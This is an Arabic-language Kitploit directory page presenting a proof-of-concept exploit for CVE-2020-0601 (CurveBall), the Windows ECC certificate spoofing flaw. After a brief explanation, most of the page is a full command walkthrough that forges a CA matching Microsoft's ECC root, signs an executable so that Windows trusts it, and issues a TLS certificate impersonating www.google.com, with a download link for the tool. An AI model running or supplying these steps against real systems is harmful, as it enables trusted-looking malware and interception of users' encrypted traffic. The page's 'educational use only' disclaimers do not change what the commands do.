Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
-CVE-2020-0601-ECC---EXPLOIT — CurveBall (CVE-2020-0601) - PoC CVE-2020-0601، أو ما يُشار إليه عادةً باسم CurveBall، هي ثغرة أمنية لا يتم فيها التحقق بشكل صحيح من توقيع الشهادات التي تستخدم تشفير المنحنيات الإهليلجية (ECC). يمكن للمهاجمين توفير مولّدات مُصمَّمة يدويًا، متجاوزين بذلك التحقق، وبرامج مكافحة الفيروسات، وجميع الإجراءات غير الوقائية. | Kitploit
أدوات/GitHubGitHub/iiictech/-cve-2020-0601-ecc---exploit
تحليل الثغرات الأمنيةتحليل الكودالاستغلالالتشفيرالتعلم والتعليماستغلال الملفات الثنائية
GitHubiiictech/-cve-2020-0601-ecc---exploit

-CVE-2020-0601-ECC---EXPLOIT

عرض المستودع
321منذ 6 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →

حول

CurveBall (CVE-2020-0601) - PoC CVE-2020-0601، أو ما يُشار إليه عادةً باسم CurveBall، هي ثغرة أمنية لا يتم فيها التحقق بشكل صحيح من توقيع الشهادات التي تستخدم تشفير المنحنيات الإهليلجية (ECC). يمكن للمهاجمين توفير مولّدات مُصمَّمة يدويًا، متجاوزين بذلك التحقق، وبرامج مكافحة الفيروسات، وجميع الإجراءات غير الوقائية.

مشاركة

CurveBall (CVE-2020-0601) - استغلال ECC/Po2

CVE-2020-0601، أو ما يُشار إليه غالبًا باسم CurveBall، هو ثغرة لا يتم فيها التحقق بشكل صحيح من توقيع الشهادات التي تستخدم تشفير المنحنيات الإهليلجية (ECC).

يعتمد ECC على معاملات مختلفة. تُستخدم معاملات موحّدة للعديد من المنحنيات. ومع ذلك، لم تتحقق Microsoft من كل هذه المعاملات كما يفعل العباقرة... لم يتم التحقق من المعامل G (المولّد)، وبالتالي يمكن للمهاجم توفير مولّد مُصمَّم يدويًا، وبهذا، عندما تحاول Microsoft التحقق من صحة الشهادة مقابل مرجع مصدق (CA) موثوق، ستبحث فقط عن مفاتيح عامة متطابقة، ومن ثم... بوووم، ستستخدم مولّد الشهادة.

توضح وكالة الأمن القومي (NSA) بوضوح التأثير المدمر لهذه الثغرة والمزيد هنا. شدّ حزامك وانطلق!

MicrosoftECCProductRootCertificateAuthority.cer هو افتراضيًا مرجع مصدق جذري (CA) موثوق يستخدم ECC على Windows 10. لذلك سيتم تلقائيًا الوثوق بأي شيء موقَّع بهذه الشهادة.

ليكن معلومًا، إنهم يراقبون دائمًا... لذا يُرجى استخدام هذا للأغراض التعليمية والبحثية فقط.

الحد الأدنى من المتطلبات openssl 1.1.0 ruby 2.4.0

التفاصيل الرياضية

إذا كنت مهتمًا بالتفاصيل الرياضية لهذه الثغرة، فيرجى قراءة المزيد هنا.

من أجل انتحال الشهادة، عيّن المعاملات التالية:

root@kitploit:~
d' = 1
G' = Q

بحيث يكون Q = Q' = d'G'.

الاستخدام

أنشئ شهادة بنفس المفتاح العام ومعاملات مرجع مصدق موثوق. سيتم استخدام هذه الشهادة كمرجع مصدق مزيف خاص بنا. عيّن المولّد على قيمة تعرف مفتاحها الخاص. يمكنك بسهولة تعيين المولّد على المفتاح العام، ويكون المفتاح الخاص معينًا على 1، نظرًا لأن Q = dG.

بعد ذلك، قم بإنشاء طلب توقيع شهادة (CSR) مع الامتدادات التي ترغب في استخدامها، مثل توقيع التعليمات البرمجية أو مصادقة الخادم.

وقّع طلب الشهادة هذا باستخدام مرجعك المزيف ومفتاح CA، وأضف امتدادات الاستخدام.

اجمع طلب الشهادة الموقَّع (والذي أصبح الآن شهادة عادية) مع مرجع CA المزيف، وستحصل على شهادة موقَّعة وموثوقة.

عندما يتحقق Windows مما إذا كانت الشهادة موثوقة، سيرى أنها قد وُقعت بواسطة مرجع CA المزيف الخاص بنا. ثم ينظر إلى المفتاح العام لمرجع CA المزيف للتحقق من مطابقته لمراجع CA الموثوقة. ثم يتحقق ببساطة من توقيع مرجع CA المزيف باستخدام مولّد مرجع CA المزيف - وهنا تكمن المشكلة.

إذا اخترت فتح شهادتك الجديدة الموقَّعة والموثوقة في Windows، فلن يتعرف عليها كموثوقة، لأنها غير مرتبطة بأي شيء، وبالتالي لن يستخدم مرجع CA المزيف. يجب أن تقدم الشهادة نفسها دائمًا مع مرجع CA المزيف.

توقيع التعليمات البرمجية

يُرجى استخدام هذا للأغراض التعليمية والبحثية فقط.

استخرج المفتاح العام من مرجع CA وعدّله وفقًا للثغرة:

root@kitploit:~
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer

أنشئ شهادة x509 جديدة بناءً على هذا المفتاح. ستكون هذه هي مرجع CA المزيف الخاص بنا.

root@kitploit:~
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

أنشئ مفتاحًا جديدًا. يمكن أن يكون هذا المفتاح من أي نوع تريده. سيُستخدم لإنشاء شهادة توقيع تعليمات برمجية، سنقوم بتوقيعها باستخدام مرجع CA الخاص بنا.

root@kitploit:~
openssl ecparam -name secp384r1 -genkey -noout -out cert.key

بعد ذلك، قم بإنشاء طلب توقيع شهادة (CSR) جديد. غالبًا ما يُرسل هذا الطلب إلى مراجع CA موثوقة، ولكن نظرًا لأن لدينا مرجعًا مزيفًا، يمكننا توقيعه بأنفسنا.

root@kitploit:~
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs

وقّع طلب CSR الجديد الخاص بك باستخدام مرجع CA المزيف ومفتاح CA الخاص بنا. ستنتهي صلاحية هذه الشهادة في عام 2047، بينما تنتهي صلاحية مرجع CA الموثوق من Microsoft في عام 2043.

root@kitploit:~
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs

لم يتبق سوى حزم الشهادة ومفتاحها ومرجع CA المزيف في ملف PKCS12 لتوقيع الملفات التنفيذية.

root@kitploit:~
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12

وقّع ملفك التنفيذي باستخدام ملف PKCS12.

root@kitploit:~
osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in 7z1900-x64.exe -out 7z1900-x64_signed.exe

SSL/TLS

يُرجى استخدام هذا للأغراض التعليمية والبحثية فقط. استخرج المفتاح العام من مرجع CA وعدّله وفقًا للثغرة:

root@kitploit:~
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer

أنشئ شهادة x509 جديدة بناءً على هذا المفتاح. ستكون هذه هي مرجع CA المزيف الخاص بنا.

root@kitploit:~
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

أنشئ مفتاحًا جديدًا. يمكن أن يكون هذا المفتاح من أي نوع تريده. سيُستخدم لإنشاء شهادة SSL، سنقوم بتوقيعها باستخدام مرجع CA الخاص بنا.

root@kitploit:~
openssl ecparam -name secp384r1 -genkey -noout -out cert.key

بعد ذلك، قم بإنشاء طلب توقيع شهادة (CSR) جديد. غالبًا ما يُرسل هذا الطلب إلى مراجع CA موثوقة، ولكن نظرًا لأن لدينا مرجعًا مزيفًا، يمكننا توقيعه بأنفسنا.

إذا كنت ترغب في تغيير اسم النطاق، فعدّل CN = www.google.com إلى CN = www.example.com داخل openssl_tls.conf.

root@kitploit:~
openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls

وقّع طلب CSR الجديد الخاص بك باستخدام مرجع CA المزيف ومفتاح CA الخاص بنا. ستنتهي صلاحية هذه الشهادة في عام 2047، بينما تنتهي صلاحية مرجع CA الموثوق من Microsoft في عام 2043.

root@kitploit:~
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tls.conf -extensions v3_tls

يمكنك الآن استخدام cert.crt و cert.key و spoofed_ca.crt لتقديم المحتوى الخاص بك. مرة أخرى، تذكر إضافة spoofed_ca.crt كسلسلة شهادات في إعداد HTTPS لخادمك.

انظر مثال الاستخدام في [https://github.com/IIICTECH/-CVE-2020-0601---ECC-/blob/master/tls/index.js).

يُرجى استخدام هذا للأغراض التعليمية والبحثية فقط.

تنزيل الأداة